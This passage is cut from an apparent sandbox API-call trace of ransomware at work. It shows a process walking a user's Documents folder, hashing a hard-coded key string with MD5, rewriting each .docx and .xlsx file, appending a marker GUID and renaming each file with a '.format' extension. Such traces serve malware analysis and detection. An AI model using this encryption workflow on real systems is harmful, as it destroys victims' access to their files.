halpmcxz\\documents\\c_0f9-l4gyuk6.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c_0f9-L4gyuk6.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c_0f9-l4gyuk6.xlsx.format")) returned 1 [0067.205] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.205] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.206] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.206] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.206] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0067.206] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.206] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bc506f0, ftCreationTime.dwHighDateTime=0x1d4f125, ftLastAccessTime.dwLowDateTime=0x93880fe0, ftLastAccessTime.dwHighDateTime=0x1d4fa37, ftLastWriteTime.dwLowDateTime=0x93880fe0, ftLastWriteTime.dwHighDateTime=0x1d4fa37, nFileSizeHigh=0x0, nFileSizeLow=0x98be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g7OWFNW_481.docx", cAlternateFileName="G7OWFN~1.DOC")) returned 1 [0067.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.206] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g7OWFNW_481.docx") returned=".docx" [0067.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g7OWFNW_481.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g7owfnw_481.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.206] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=39102) returned 1 [0067.206] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.208] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.208] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.209] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.209] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x98be, lpOverlapped=0x0) returned 1 [0067.209] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.209] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.209] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.209] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.209] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.210] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.210] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.210] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.210] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.210] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.210] GetLastError () returned 0x0 [0067.210] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.210] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.210] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.210] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x98c0) returned 0x32b2f40 [0067.211] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.211] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x98b9, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x98b9, lpOverlapped=0x0) returned 1 [0067.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.211] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x98be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.211] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.211] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.211] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.211] CloseHandle (hObject=0x5c8) returned 1 [0067.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g7OWFNW_481.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g7owfnw_481.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g7OWFNW_481.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g7owfnw_481.docx.format")) returned 1 [0067.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.213] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.214] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fb4410, ftCreationTime.dwHighDateTime=0x1d512c3, ftLastAccessTime.dwLowDateTime=0xc7b63ad0, ftLastAccessTime.dwHighDateTime=0x1d4ed67, ftLastWriteTime.dwLowDateTime=0xc7b63ad0, ftLastWriteTime.dwHighDateTime=0x1d4ed67, nFileSizeHigh=0x0, nFileSizeLow=0xa6fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mKDXp.docx", cAlternateFileName="MKDXP~1.DOC")) returned 1 [0067.214] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mKDXp.docx") returned=".docx" [0067.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mKDXp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mkdxp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.214] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42746) returned 1 [0067.214] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.217] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.217] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.217] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa6fa, lpOverlapped=0x0) returned 1 [0067.218] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.218] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.218] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.218] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.218] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.218] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.218] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.218] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.218] GetLastError () returned 0x0 [0067.219] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.219] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.219] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa6fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.219] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.219] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.219] CloseHandle (hObject=0x5c8) returned 1 [0067.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mKDXp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mkdxp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mKDXp.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mkdxp.docx.format")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0067.221] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1daecf40, ftCreationTime.dwHighDateTime=0x1d51baf, ftLastAccessTime.dwLowDateTime=0x55d6bfc0, ftLastAccessTime.dwHighDateTime=0x1d508ce, ftLastWriteTime.dwLowDateTime=0x55d6bfc0, ftLastWriteTime.dwHighDateTime=0x1d508ce, nFileSizeHigh=0x0, nFileSizeLow=0x1624, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t5djWBc.xlsx", cAlternateFileName="T5DJWB~1.XLS")) returned 1 [0067.221] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t5djWBc.xlsx") returned=".xlsx" [0067.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t5djWBc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5djwbc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.222] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=5668) returned 1 [0067.222] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.224] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.224] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.225] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1624, lpOverlapped=0x0) returned 1 [0067.225] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.225] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.225] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.225] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.225] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.225] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.225] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.226] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.226] GetLastError () returned 0x0 [0067.226] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.226] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.226] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.226] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.226] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.226] CloseHandle (hObject=0x5c8) returned 1 [0067.226] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t5djWBc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5djwbc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t5djWBc.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5djwbc.xlsx.format")) returned 1 [0067.228] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a7a67e0, ftCreationTime.dwHighDateTime=0x1d4d5bc, ftLastAccessTime.dwLowDateTime=0x5bd8fcb0, ftLastAccessTime.dwHighDateTime=0x1d53166, ftLastWriteTime.dwLowDateTime=0x5bd8fcb0, ftLastWriteTime.dwHighDateTime=0x1d53166, nFileSizeHigh=0x0, nFileSizeLow=0x1137e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VbVUQGncHIj1 ec.xlsx", cAlternateFileName="VBVUQG~1.XLS")) returned 1 [0067.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VbVUQGncHIj1 ec.xlsx") returned=".xlsx" [0067.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VbVUQGncHIj1 ec.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vbvuqgnchij1 ec.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.228] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=70526) returned 1 [0067.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.230] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x11358, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.230] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.231] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1137e, lpOverlapped=0x0) returned 1 [0067.232] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.232] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.232] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.232] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.232] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.232] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.232] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.232] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.232] GetLastError () returned 0x0 [0067.232] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.232] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.233] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1137e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.233] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.233] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.233] CloseHandle (hObject=0x5c8) returned 1 [0067.234] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VbVUQGncHIj1 ec.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vbvuqgnchij1 ec.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VbVUQGncHIj1 ec.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vbvuqgnchij1 ec.xlsx.format")) returned 1 [0067.244] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4986ef50, ftCreationTime.dwHighDateTime=0x1d51775, ftLastAccessTime.dwLowDateTime=0xb0bd4c90, ftLastAccessTime.dwHighDateTime=0x1d4ce92, ftLastWriteTime.dwLowDateTime=0xb0bd4c90, ftLastWriteTime.dwHighDateTime=0x1d4ce92, nFileSizeHigh=0x0, nFileSizeLow=0xe4bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xCUGudyvE2cZEXnf.docx", cAlternateFileName="XCUGUD~1.DOC")) returned 1 [0067.244] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xCUGudyvE2cZEXnf.docx") returned=".docx" [0067.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xCUGudyvE2cZEXnf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xcugudyve2czexnf.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.245] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=58559) returned 1 [0067.245] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.247] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xe499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.247] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, 